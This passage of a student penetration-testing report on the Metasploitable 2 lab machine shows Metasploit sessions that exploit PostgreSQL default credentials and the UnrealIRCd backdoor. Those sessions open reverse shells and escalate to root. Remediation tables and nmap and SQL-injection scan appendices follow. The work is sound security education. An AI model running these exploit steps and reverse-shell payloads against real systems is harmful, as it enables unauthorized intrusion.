This vulnerability demonstrated the danger of leaving vendor-default service accounts unchanged.

```
msf > use exploit/linux/postgres/postgres_payload
[*] Using configured payload linux/x86/meterpreter/reverse_tcp
[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
msf exploit(linux/postgres/postgres_payload) > set RHOST 192.168.0.5
RHOST => 192.168.0.5
msf exploit(linux/postgres/postgres_payload) > set LHOST 192.168.0.4
LHOST => 192.168.0.4
msf exploit(linux/postgres/postgres_payload) > set USERNAME postgres
USERNAME => postgres
msf exploit(linux/postgres/postgres_payload) > set PASSWORD postgres
PASSWORD => postgres
msf exploit(linux/postgres/postgres_payload) > exploit
[*] Started reverse TCP handler on 192.168.0.4:4444
[*] 192.168.0.5:5432 - PostgreSQL 8.3.1 on i486-pc-linux-gnu, compiled by GCC cc (GCC) 4.2.3 (Ubuntu 4.2.3-2ubuntu4)
[*] 192.168.0.5:5432 - Uploaded as /tmp/AacFCmqt.so, should be cleaned up automatically
[*] Sending stage (1062760 bytes) to 192.168.0.5
[*] Meterpreter session 1 opened (192.168.0.4:4444 → 192.168.0.5:34696) at 2025-11-28 09:22:06 -0500

meterpreter > getuid
Server username: postgres
```

**Figure 10b.** Port 5432 – PostgreSQL Initial Access

**Privilege Escalation**

**Tool Used: Metasploit** (exploit/linux/local/udev\_netlink)

**Steps:**

1. Backgrounded the postgres session (background).
2. Selected use exploit/linux/local/udev\_netlink.
3. Set the session ID.
4. Executed the exploit, successfully obtaining root access.

```
msf exploit(linux/postgres/postgres_payload) > use exploit/linux/local/udev_netlink
[*] No payload configured, defaulting to linux/x86/meterpreter/reverse_tcp
msf exploit(linux/local/udev_netlink) > set SESSION 1
SESSION => 1
msf exploit(linux/local/udev_netlink) > exploit
[*] Started reverse TCP handler on 192.168.0.4:4444
[*] Attempting to autodetect netlink pid ...
[*] Meterpreter session, using get_processes to find netlink pid
[*] udev pid: 2430
[+] Found netlink pid: 2429
[*] Writing payload executable (207 bytes) to /tmp/bwSKMiXCGv
[*] Writing exploit executable (1879 bytes) to /tmp/qSazzSdKFO
[*] chmod'ing and running it ...
[*] Sending stage (1062760 bytes) to 192.168.0.5
[*] Meterpreter session 2 opened (192.168.0.4:4444 -> 192.168.0.5:34697) at 2025-11-28 09:23:45 -0500
```

**Figure 11.** Port 5432 – PostgreSQL Privilege Escalation

```
meterpreter > getuid
Server username: root
meterpreter > shell
Process 6075 created.
Channel 1 created.
whoami
root
```

**Figure 12.** Port 5432 – PostgreSQL Privilege Escalation

Result

### Vulnerability 3: Port 6667 – UnrealIRCd Backdoor (User/Root access)

```
6667/tcp open irc
|_irc-unrealircd-backdoor: Looks like trojaned version of unrealircd. See http://seclists.org/fulldisclosure/2010/Jun/277
```

**Figure 13.** Vulnerability 3: Port 6667 – UnrealIRCd Backdoor  
(User/Root access)

#### ***Initial Access***

The installed version of UnrealIRCd contains a known backdoor introduced using a supply chain attack.

**Figure 14a.** Port 6667 – UnrealIRCd Backdoor Initial Access

**Tool Used: Metasploit**

(exploit/unix/irc/unreal ircd 3281 backdoor)

## Steps :

1. Selected use  
exploit/unix/irc/unreal ircd\_3281\_backdoor.
  2. Set RHOST 192.168.0.5.
  3. Set PAYLOAD cmd/unix/reverse to ensure a stable command execution.
  4. Executed the exploit.

Successful exploitation provided immediate remote code execution on the target system.

```
msf > use exploit/unix/irc/unreal_ircd_3281_backdoor
msf exploit(unix/irc/unreal_ircd_3281_backdoor) > set RHOST 192.168.0.5
RHOST => 192.168.0.5
```

**Figure 14b.** Port 6667 – UnrealIRCd Backdoor Initial Access

```
msf exploit(unix/irc/unreal_ircd_3281_backdoor) > set PAYLOAD cmd/unix/reverse
PAYLOAD => cmd/unix/reverse
```

**Figure 14c.** Port 6667 – UnrealIRCd Backdoor Initial Access

```
msf exploit(unix/irc/unreal_ircd_3281_backdoor) > LHOST 192.168.0.4
[-] Unknown command: LHOST. Did you mean hosts? Run the help command for more details.
msf exploit(unix/irc/unreal_ircd_3281_backdoor) > set LHOST 192.168.0.4
LHOST => 192.168.0.4
msf exploit(unix/irc/unreal_ircd_3281_backdoor) > exploit
[*] Started reverse TCP double handler on 192.168.0.4:4444
[*] 192.168.0.5:6667 - Connected to 192.168.0.5:6667...
:irc.Metasploitable.LAN NOTICE AUTH :*** Looking up your hostname...
:irc.Metasploitable.LAN NOTICE AUTH :*** Couldn't resolve your hostname; using your IP address instead
[*] 192.168.0.5:6667 - Sending backdoor command...
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo umuKmHSq9wkgVhoG;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket A
[*] A: "sh: line 2: Connected: command not found\r\nsh: line 3: Escape: command not found\r\n"
[*] Matching...
[*] B is input...
[*] Command shell session 1 opened (192.168.0.4:4444 → 192.168.0.5:42293) at 2025-11-28 08:45:08 -0500
```

**Figure 14d.** Port 6667 – UnrealIRCd Backdoor Initial Access

### **Privilege Escalation**

Since the backdoor executes commands directly as the user running the service, escalation to root was possible using typical local privilege escalation techniques available within Metasploitable.

```
Shell Banner:
umuKmHSq9wkgVhoG
_____
whoami
root
```

**Figure 15.** Port 6667 – UnrealIRCd Backdoor Privilege Escalation

### **Phase 3: Remediation and Hardening Proposal**

This phase presents a proposal of remediation and hardening measures for the three most critical vulnerabilities identified in the Metasploitable 2 environment, which are the Java RMI Registry (port 1099), PostgreSQL (port 5432), and UnrealIRCd Backdoor (port 6667).

We will propose a two-tiered countermeasure strategy for each vulnerability. These two tiers of countermeasures are, first, Technical Patches (Immediate Fixes), which are actions that answer what specific patch, configuration change, or code modification is needed to correct the affected system. Second, Strategic Hardening (Long-Term Policy), these are the higher-level organizational controls and security governance mechanisms that prevent similar issues in the future.

The goal of this phase is not only to fix what was found but to build a sustainable security environment that mitigates future risks.

#### ***Technical Patches (Immediate Fixes)***

Vulnerability	Technical Patches (Immediate Fixes)
Port 1099 - Java RMI Registry	<ul style="list-style-type: none"><li>• Disable remote class loading by adding <code>-Djava.rmi.server.useCodebaseOnly=true</code> to the JVM arguments.</li><li>• Update Java Runtime Environment (JRE/JDK) to the latest supported version.</li><li>• Enable the Java Security Manager (<code>-Djava.security.manager</code>) to restrict unsafe operations.</li></ul>

	<ul style="list-style-type: none"> <li>• Block external access to port 1099 using firewall rules, allowing only administrative hosts.</li> </ul>
Port 5432 – PostgreSQL	<ul style="list-style-type: none"> <li>• Change default credentials immediately:  <code>ALTER USER postgres WITH PASSWORD 'NewComplexP@ssw0rd!';</code></li> <li>• Update pg_hba.conf to require md5 or scram-sha-256 authentication instead of trust.</li> <li>• Restrict access in postgresql.conf by setting listen_addresses = 'localhost'.</li> <li>• Block external access to port 5432 using firewall rules (e.g., iptables DROP rule).</li> </ul>
Port 6667 – UnrealIRCd	<ul style="list-style-type: none"> <li>• Immediately uninstall the compromised UnrealIRCd version: apt-get remove unrealircd.</li> <li>• Reinstall a clean, verified version from official repositories: apt-get install unrealircd.</li> <li>• Verify package integrity (SHA256/MD5 checksum validation) before use.</li> <li>• Block or disable port 6667 if IRC functionality is not required.</li> </ul>

**Table 2.** Remediation and Hardening Proposal for Technical Patches (Immediate Fixes)

### ***Strategic Hardening (Long-Term Policy)***

Vulnerability	Strategic Hardening (Long-Term Policy)
Port 1099 - Java RMI Registry	<ul style="list-style-type: none"> <li>● Implement Network Segmentation and Zero Trust, isolating RMI services in a secure Management VLAN with strict ACLs.</li> <li>● Create a Middleware Security Policy requiring secure configurations for services like RMI, JMX, Tomcat, etc.</li> <li>● Adopt a Patch &amp; Update Cycle Policy for Java middleware, including monthly updates and quarterly configuration reviews.</li> <li>● Enforce mandatory audits to detect insecure deserialization, unsafe classpaths, and configuration drifts.</li> </ul>
Port 5432 - PostgreSQL	<ul style="list-style-type: none"> <li>● Implement an Identity and Access Management (IAM) Policy requiring immediate replacement of all default passwords and enforcing strong password complexity.</li> <li>● Establish Database Security Standards (RBAC, encryption, access reviews, activity logging).</li> <li>● Apply Configuration Baseline Management to ensure PostgreSQL is deployed with secure defaults.</li> <li>● Integrate PostgreSQL into the Vulnerability Management Cycle with regular scans and patch scheduling.</li> </ul>
Port 6667 -	<ul style="list-style-type: none"> <li>● Implement a Supply Chain Security</li> </ul>

UnrealIRCd	<p>Policy requiring software to be downloaded only from verified, trusted sources with enforced hash/signature validation.</p> <ul style="list-style-type: none"> <li>● Establish a Software Acquisition and Approval Process involving IT security review prior to installation.</li> <li>● Maintain Asset and Inventory Management records, tracking software versions, sources, and update history.</li> <li>● Deploy Continuous Monitoring to detect unauthorized software, unexpected listening services, or signs of tampering.</li> </ul>
------------	--

**Table 3.** Remediation and Hardening Proposal for Strategic Hardening (Long-Term Policy)

### ***Overall Remediation and Hardening Proposal***

The remediation and hardening proposals presented in Tables 2 and 3 address both the technical patches or immediate fixes that need to be performed in Metasploitable 2 and the broader long-term policies or strategic hardening that would stop these issues from persisting. While the technical patches ensure that the services are secured, the strategic hardening proposals are designed to strengthen the security of the environment and prevent similar vulnerabilities from emerging in the future.

The most significant observation from this assessment is that all three exploited vulnerabilities originated from default configurations, outdated software, or insufficient administrative oversight. A unified remediation and hardening approach should therefore emphasize strengthening authentication and access controls, implementing patch and configuration management, continuous monitoring and logging, and implementing stricter security policies and administrative oversight.

## **CHAPTER 4 CONCLUSION**

This project successfully demonstrated a complete penetration testing simulation and development of a hardening plan, analyzing the vulnerabilities found in the Metasploitable 2 virtual machine. Acting as information security consultants (ethical hackers), the team conducted comprehensive footprinting, vulnerability analysis, and exploitation simulation using tools such as Nmap and the Metasploit Framework (MSF), as well as developing remediation and hardening plans for countermeasure strategies and presenting our technical findings and strategic recommendations through this written report.

Overall, this project reinforces the importance of conducting regular vulnerability assessments and maintaining strong security governance. Even in a simulated environment, the findings revealed by the three most critical vulnerabilities demonstrate how easily misconfigurations and outdated software can be exploited. By applying both technical patches and strategic hardening countermeasures, organizations can significantly reduce their attack surface and improve their resilience against evolving cybersecurity threats. Our team concludes that through structured penetration testing and comprehensive hardening efforts, systems can be strengthened to better withstand real-world attacks and protect organizational assets.

## Appendices

### Appendix A. Additional Vulnerability Scanning Screenshots

```

Generator Length: 8
Public Key Length: 512
References:
https://www.securityfocus.com/bid/74733
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-4000
https://weakdh.org

Diffie-Hellman Key Exchange Insufficient Group Strength
State: VULNERABLE
Transport Layer Security (TLS) services that use Diffie-Hellman groups
of insufficient strength, especially those using one of a few commonly
shared groups, may be susceptible to passive eavesdropping attacks.
Check results:
WEAK DH GROUP 1
Cipher Suite: TLS_DHE_RSA_WITH_AES_256_CBC_SHA
Modulus Type: Safe prime
Modulus String: prefix builtin
Modulus Length: 1024
Generator Length: 8
Public Key Length: 1024
References:
https://weakdh.org
ssl-poodle:
VULNERABLE:
SSL POODLE information leak
State: VULNERABLE
IDs: CVE-CVE-2014-3566 BID:70574
The SSL protocol 3.0, as used in OpenSSL through 1.0.1l and other
products, uses nondeterministic CBC padding, which makes it easier
for man-in-the-middle attackers to obtain cleartext data via a
padding oracle attack, aka the "POODLE" issue.
Disclosed Date: 2014-10-14
Check results:
TLS RSA WITH AES_128_CBC_SHA
References:
https://www.securityfocus.com/bid/70574
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-3566
https://www.imperialviolet.org/2014/10/14/poodle.html
https://www.openssl.org/~bodo/ssl_poodle.pdf

```

```

http://192.168.0.5:80/mutillidae/index.php?page=login.php%27%20OR%20sqlspider
http://192.168.0.5:80/mutillidae/index.php?page=home.php%60=toggle-hints%27%20OR%20sqlspider
http://192.168.0.5:80/mutillidae/?page=user-info.php%27%20OR%20sqlspider
http://192.168.0.5:80/mutillidae/?page=text-file-viewer.php%27%20OR%20sqlspider
http://192.168.0.5:80/mutillidae/index.php?page=user-poll.php%27%20OR%20sqlspider
http://192.168.0.5:80/mutillidae/index.php?page=site-footer-xss-discussion.php%27%20OR%20sqlspider
http://192.168.0.5:80/mutillidae/?page=edit-profile.php%27%20OR%20sqlspider
http://192.168.0.5:80/dav/%7C-MN3BOK3DA%27%20OR%20sqlspider
http://192.168.0.5:80/dav/%7C-SX3BOK3DA%27%20OR%20sqlspider
http://192.168.0.5:80/dav/%7C-DK3BOK3DA%27%20OR%20sqlspider
http://192.168.0.5:80/dav/%7C-MN3BOK3DA%27%20OR%20sqlspider
http://192.168.0.5:80/dav/%7C-SX3BOK3DA%27%20OR%20sqlspider
http://192.168.0.5:80/dav/%7C-DK3BOK3DA%27%20OR%20sqlspider
http://192.168.0.5:80/dav/%7C-MN3BOK3DA%27%20OR%20sqlspider
http://192.168.0.5:80/dav/%7C-MN3BOK3DA%27%20OR%20sqlspider
http://192.168.0.5:80/dav/%7C-SX3BOK3DA%27%20OR%20sqlspider
http://192.168.0.5:80/dav/%7C-DK3BOK3DA%27%20OR%20sqlspider
http://192.168.0.5:80/dav/%7C-MN3BOK3DA%27%20OR%20sqlspider
http://192.168.0.5:80/dav/%7C-SX3BOK3DA%27%20OR%20sqlspider
http://192.168.0.5:80/dav/%7C-DK3BOK3DA%27%20OR%20sqlspider
http://192.168.0.5:80/dav/%7C-MN3BOK3DA%27%20OR%20sqlspider
http://192.168.0.5:80/dav/%7C-SX3BOK3DA%27%20OR%20sqlspider
http://192.168.0.5:80/dav/%7C-DK3BOK3DA%27%20OR%20sqlspider
http://192.168.0.5:80/dav/%7C-MN3BOK3DA%27%20OR%20sqlspider
http://192.168.0.5:80/dav/%7C-SX3BOK3DA%27%20OR%20sqlspider
http://192.168.0.5:80/dav/%7C-DK3BOK3DA%27%20OR%20sqlspider
http://192.168.0.5:80/view/TWiki/TWikiHistory?rev=1.8&27%20OR%20sqlspider
http://192.168.0.5:80/view/TWiki/TWikiHistory?rev=1.9&27%20OR%20sqlspider
http://192.168.0.5:80/rdiff/TWiki/TWikiHistory?rev=1.8&27%20OR%20sqlspider&rev2=1.7
http://192.168.0.5:80/rdiff/TWiki/TWikiHistory?rev=1.8&rev2=1.7&27%20OR%20sqlspider
http://192.168.0.5:80/rdiff/TWiki/TWikiHistory?rev=1.9&27%20OR%20sqlspider&rev2=1.8
http://192.168.0.5:80/rdiff/TWiki/TWikiHistory?rev=1.9&rev2=1.8&27%20OR%20sqlspider
http://192.168.0.5:80/rdiff/TWiki/TWikiHistory?rev=1.7&27%20OR%20sqlspider
http://192.168.0.5:80/rdiff/TWiki/TWikiHistory?rev=1.10&27%20OR%20sqlspider&rev2=1.9
http://192.168.0.5:80/rdiff/TWiki/TWikiHistory?rev=1.10&rev2=1.9&27%20OR%20sqlspider
http://192.168.0.5:80/oops/TWiki/TWikiHistory?param=1.10&27%20OR%20sqlspider&tempalte=oopsrev
http://192.168.0.5:80/oops/TWiki/TWikiHistory?param=1.10&template=oopsrev&27%20OR%20sqlspider
http://192.168.0.5:80/view/TWiki/TWikiHistory?rev=1.9&27%20OR%20sqlspider
http://192.168.0.5:80/rdiff/TWiki/TWikiHistory?rev=1.8&27%20OR%20sqlspider&rev2=1.7
http://192.168.0.5:80/rdiff/TWiki/TWikiHistory?rev=1.8&rev2=1.7&27%20OR%20sqlspider
http://192.168.0.5:80/oops/TWiki/TWikiHistory?param=1.10&27%20OR%20sqlspider&tempalte=oopsrev
http://192.168.0.5:80/oops/TWiki/TWikiHistory?param=1.10&template=oopsrev&27%20OR%20sqlspider
http://192.168.0.5:80/view/TWiki/TWikiHistory?rev=1.7&27%20OR%20sqlspider
http://192.168.0.5:80/rdiff/TWiki/TWikiHistory?rev=1.9&27%20OR%20sqlspider&rev2=1.8

```



```

| http://192.168.0.5:80/mutillidae/index.php?page=dns-lookup.php%27%200R%20sqlspider
| http://192.168.0.5:80/mutillidae/index.php?page=credits.php%27%200R%20sqlspider
| http://192.168.0.5:80/mutillidae/index.php?page=register.php%27%200R%20sqlspider
| http://192.168.0.5:80/mutillidae/index.php?page=login.php%27%200R%20sqlspider
| http://192.168.0.5:80/mutillidae/index.php?page=user-poll.php%27%200R%20sqlspider
| http://192.168.0.5:80/mutillidae/index.php?page=password-generator.php%27%200R%20sqlspider&username=anonymous
| http://192.168.0.5:80/mutillidae/index.php?page=secret-administrative-pages.php%27%200R%20sqlspider
| http://192.168.0.5:80/mutillidae/index.php?page=source-nolink.php%27%200R%20sqlspider
| http://192.168.0.5:80/mutillidae/index.php?page=user-info.php%27%200R%20sqlspider
| http://192.168.0.5:80/mutillidae/index.php?page=installation.php%27%200R%20sqlspider
| http://192.168.0.5:80/mutillidae/index.php?page=documentation%2Fvulnerabilities.php%27%200R%20sqlspider
| http://192.168.0.5:80/mutillidae/?page=user-info.php%27%200R%20sqlspider
| http://192.168.0.5:80/mutillidae/index.php?page=framing.php%27%200R%20sqlspider
| http://192.168.0.5:80/mutillidae/?page=source-viewer.php%27%200R%20sqlspider
| http://192.168.0.5:80/mutillidae/index.php?page=change-log.htm%27%200R%20sqlspider
| http://192.168.0.5:80/mutillidae/index.php?page=secret-administrative-pages.php%27%200R%20sqlspider
| http://192.168.0.5:80/mutillidae/index.php?page=text-file-viewer.php%27%200R%20sqlspider
| http://192.168.0.5:80/mutillidae/index.php?page=source-viewer.php%27%200R%20sqlspider
| http://192.168.0.5:80/mutillidae/index.php?page=set-background-color.php%27%200R%20sqlspider
| http://192.168.0.5:80/mutillidae/index.php?page=captured-data.php%27%200R%20sqlspider
| http://192.168.0.5:80/mutillidae/?page=text-file-viewer.php%27%200R%20sqlspider
| http://192.168.0.5:80/mutillidae/index.php?page=site-footer-xss-discussion.php%27%200R%20sqlspider
| http://192.168.0.5:80/mutillidae/?page=credits.php%27%200R%20sqlspider
| http://192.168.0.5:80/mutillidae/index.php?page=home.php%27%200R%20sqlspider
| http://192.168.0.5:80/mutillidae/index.php?page=view-someones-blog.php%27%200R%20sqlspider
| http://192.168.0.5:80/mutillidae/index.php?page=add-to-your-blog.php%27%200R%20sqlspider
| http://192.168.0.5:80/mutillidae/index.php?page=login.php%27%200R%20sqlspider
| http://192.168.0.5:80/mutillidae/?page=arbitrary-file-inclusion.php%27%200R%20sqlspider
| http://192.168.0.5:80/mutillidae/index.php?page=show-log.php%27%200R%20sqlspider
| http://192.168.0.5:80/mutillidae/index.php?page=show-log.php%27%200R%20sqlspider
| http://192.168.0.5:80/mutillidae/?page=show-log.php%27%200R%20sqlspider
| http://192.168.0.5:80/mutillidae/index.php?page=captured-data.php%27%200R%20sqlspider
| http://192.168.0.5:80/mutillidae/index.php?page=password-generator.php%27%200R%20sqlspider&username=anonymous
|
```

```

| http://192.168.0.5:80/mutillidae/index.php?page=pen-test-tool-lookup.php%27%200R%20sqlspider
| http://192.168.0.5:80/mutillidae/index.php?page=user-info.php%27%200R%20sqlspider
| http://192.168.0.5:80/mutillidae/index.php?page=secret-administrative-pages.php%27%200R%20sqlspider
| http://192.168.0.5:80/mutillidae/index.php?page=documentation%2Fvulnerabilities.php%27%200R%20sqlspider
| http://192.168.0.5:80/mutillidae/index.php?page=installation.php%27%200R%20sqlspider
| http://192.168.0.5:80/mutillidae/index.php?page=How-to-access-Mutillidae-over-Virtual-Box-network.php%27%200R%20sqlspider
| http://192.168.0.5:80/mutillidae/index.php?page=framing.php%27%200R%20sqlspider
| http://192.168.0.5:80/mutillidae/?page=source-viewer.php%27%200R%20sqlspider
| http://192.168.0.5:80/mutillidae/index.php?page=change-log.htm%27%200R%20sqlspider
| http://192.168.0.5:80/mutillidae/index.php?page=secret-administrative-pages.php%27%200R%20sqlspider
| http://192.168.0.5:80/mutillidae/index.php?page=text-file-viewer.php%27%200R%20sqlspider
| http://192.168.0.5:80/mutillidae/index.php?page=source-viewer.php%27%200R%20sqlspider
| http://192.168.0.5:80/mutillidae/index.php?page=set-background-color.php%27%200R%20sqlspider
| http://192.168.0.5:80/mutillidae/?page=captured-data.php%27%200R%20sqlspider
| http://192.168.0.5:80/mutillidae/index.php?page=arbitrary-file-inclusion.php%27%200R%20sqlspider
| http://192.168.0.5:80/mutillidae/index.php?page=show-log.php%27%200R%20sqlspider
| http://192.168.0.5:80/mutillidae/index.php?page=show-log.php%27%200R%20sqlspider
| http://192.168.0.5:80/mutillidae/?page=arbitrary-file-inclusion.php%27%200R%20sqlspider
| http://192.168.0.5:80/mutillidae/index.php?page=login.php%27%200R%20sqlspider
| http://192.168.0.5:80/mutillidae/index.php?page=captured-data.php%27%200R%20sqlspider
| http://192.168.0.5:80/mutillidae/index.php?page=password-generator.php%27%200R%20sqlspider
|
```

```

| Path: http://192.168.0.5:80/twiki/TWikiDocumentation.html
| Form id:
| Form action: http://TWiki.org/cgi-bin/manage/TWiki/ManagingWebs
|
| Path: http://192.168.0.5:80/mutillidae/?page=view-someones-blog.php
| Form id: id-bad-blog-entry-tr
| Form action: index.php?page=view-someones-blog.php
|
| Path: http://192.168.0.5:80/mutillidae/index.php?page=dns-lookup.php
| Form id: iddnslookupform
| Form action: index.php?page=dns-lookup.php
| http-stored-xss: Couldn't find any stored XSS vulnerabilities.
|
| http-enum:
| /tikiwiki: Tikiwiki
| /test/: Test page
| /phpinfo.php: Possible information file
| /phpMyAdmin/: phpMyAdmin
| /doc: Potentially interesting directory w/ listing on 'apache/2.2.8 (ubuntu) dav/2'
| /icons/: Potentially interesting folder w/ directory listing
| /index/: Potential interesting folder
| http-dombased-xss: Couldn't find any DOM based XSS.
| http-vuln-cve2017-1001000: ERROR: Script execution failed (use -d to debug)
| http-fileupload-exploiter:
|
| Couldnt' find a file-type field.
|
```

```

111/tcp open rpcbind
139/tcp open netbios-ssn
445/tcp open microsoft-ds
512/tcp open exec
513/tcp open login
514/tcp open shell
1099/tcp open wireregistry
|_ rmi-vuln-classloader:
|   VULNERABLE:
|     RMI registry default configuration remote code execution vulnerability
|       State: VULNERABLE
|         Default configuration of RMI registry allows loading classes from remote URLs which can lead to remote code execution.
|   References:
|     https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/multi/misc/java_rmi_server.rb
1524/tcp open ingreslock
2049/tcp open nfs
2121/tcp open ccproxy-ftp
3306/tcp open mysql
4432/tcp open postgresql
|_ ssl-ccs-injection:
|   VULNERABLE:
|     SSL/TLS MITM vulnerability (CCS Injection)
|       State: VULNERABLE
|         Risk factor: High
|           OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h
|             does not properly restrict processing of ChangeCipherSpec messages,
|               which allows man-in-the-middle attackers to trigger use of a zero
|                 length master key in certain OpenSSL-to-OpenSSL communications, and
|                   consequently hijack sessions or obtain sensitive information, via
|                     a crafted TLS handshake, aka the "CCS Injection" vulnerability.
|   References:
|     https://www.openssl.org/news/secadv_20140605.txt
|     https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-0224
|     https://www.cvedetails.com/cve/2014-0224

```

```

ssl-dh-params:
|_ VULNERABLE:
|   Diffie-Hellman Key Exchange Insufficient Group Strength
|     State: VULNERABLE
|       Transport Layer Security (TLS) services that use Diffie-Hellman groups
|         of insufficient strength, especially those using one of a few commonly
|           shared groups, may be susceptible to passive eavesdropping attacks.
|   Check results:
|     WEAK DH GROUP 1
|       Cipher Suite: TLS_DHE_RSA_WITH_AES_256_CBC_SHA
|         Modulus Type: Safe prime
|           Modulus Source: Unknown/Custom-generated
|             Modulus Length: 1024
|               Generator Length: 8
|                 Public Key Length: 1024
|   References:
|     https://weakdh.org
ssl-poodle:
|_ VULNERABLE:
|   SSL POODLE information leak
|     State: VULNERABLE
|       IDs: CVE-CVE-2014-3566 BID:70574
|         The SSL protocol 3.1, as used in OpenSSL through 1.0.1i and other
|           products, uses non-deterministic CBC padding, which makes it easier
|             for man-in-the-middle attackers to obtain cleartext data via a
|               padding oracle attack, aka the "POODLE" issue.
|         Disclosure date: 2014-10-14
|   Check results:
|     TLS_RSA_WITH_AES_128_CBC_SHA
|   References:
|     https://www.securityfocus.com/bid/70574
|     https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-3566
|     https://www.imperialviolet.org/2014/10/14/poodle.html
|     https://www.openssl.org/bodo/ssl-poodle.pdf

```

```

5900/tcp open vnc
6000/tcp open X11
6667/tcp open irc
|_ |_l=unrealircd-backdoor: Looks like trojaned version of unrealircd. See http://seclists.org/fulldisclosure/2010/Jun/277
8009/tcp open ajp13
8180/tcp open unknown
|_ http-cookie-flaws:
|   /admin/:
|     JSESSIONID:
|       httponly flag not set
|   /admin/index.html:
|     JSESSIONID:
|       httponly flag not set
|   /admin/login.html:
|     JSESSIONID:
|       httponly flag not set
|   /admin/admin.html:
|     JSESSIONID:
|       httponly flag not set
|   /admin/account.html:
|     JSESSIONID:
|       httponly flag not set
|   /admin/admin_login.html:
|     JSESSIONID:
|       httponly flag not set
|   /admin/home.html:
|     JSESSIONID:
|       httponly flag not set
|   /admin/admin-login.html:
|     JSESSIONID:
|       httponly flag not set
|   /admin/adminLogin.html:
|     JSESSIONID:
|       httponly flag not set
|   /admin/controlpanel.html:
|     JSESSIONID:
|       httponly flag not set
|   /admin/cp.html:
|     JSESSIONID:
|       httponly flag not set

```

```
/admin/index.jsp:  
JSESSIONID:  
    httponly flag not set  
/admin/login.jsp:  
JSESSIONID:  
    httponly flag not set  
/admin/admin.jsp:  
JSESSIONID:  
    httponly flag not set  
/admin/home.jsp:  
JSESSIONID:  
    httponly flag not set  
/admin/controlpanel.jsp:  
JSESSIONID:  
    httponly flag not set  
/admin/admin-login.jsp:  
JSESSIONID:  
    httponly flag not set  
/admin/cp.jsp:  
JSESSIONID:  
    httponly flag not set  
/admin/account.jsp:  
JSESSIONID:  
    httponly flag not set  
/admin/admin_login.jsp:  
JSESSIONID:  
    httponly flag not set  
/admin/adminLogin.jsp:  
JSESSIONID:  
    httponly flag not set  
/admin/view/javascript/fckeditor/editor/filemanager/connectors/test.html:  
JSESSIONID:  
    httponly flag not set  
/admin/includes/FCKeditor/editor/filemanager/upload/test.html:  
JSESSIONID:  
    httponly flag not set  
/admin/jscript/upload.html:  
JSESSIONID:  
    httponly flag not set  
- http-equiv:  
/admin/: Possible admin folder
```

```
http-enum:
/_admin/: Possible admin folder
/_admin/index.html: Possible admin folder
/_admin/login.html: Possible admin folder
/_admin/admin.html: Possible admin folder
/_admin/account.html: Possible admin folder
/_admin/admin_login.html: Possible admin folder
/_admin/home.html: Possible admin folder
/_admin/admin-login.html: Possible admin folder
/_admin/admin-account.html: Possible admin folder
/_admin/controlpanel.html: Possible admin folder
/_admin/cp.html: Possible admin folder
/_admin/index.jsp: Possible admin folder
/_admin/login.jsp: Possible admin folder
/_admin/admin.jsp: Possible admin folder
/_admin/home.jsp: Possible admin folder
/_admin/controlpanel.jsp: Possible admin folder
/_admin/admin-login.jsp: Possible admin folder
/_admin/cp.jsp: Possible admin folder
/_admin/account.jsp: Possible admin folder
/_admin/login.jsp: Possible admin folder
/_admin/admin-login.jsp: Possible admin folder
/_manager/htm/upload: Apache Tomcat (<v01 Unauthorized)
/_manager/htm: Apache Tomcat (<v01 Unauthorized)
/_admin/view/javascript/fckeditor/editor/filemanager/connectors/test.html: OpenCart/FCKEditor File upload
/_admin/includes/FCKeditor/editor/filemanager/upload/test.html: ASP Simple Blog / FCKeditor File Upload
/_admin/script/upload.html: Lizard Cart/Remote File upload
/_webdav: Potentially interesting folder
http-slowloris-check:
VULNERABLE:
Slowloris DOS attack
Status: LIKELY VULNERABLE
IDS: CVE-CVE-2007-6750
Slowloris tries to keep many connections to the target web server open and hold them open as long as possible. It accomplishes this by opening connections to the target web server and sending a partial request. By doing so, it starves the http server's resources causing Denial Of Service.
```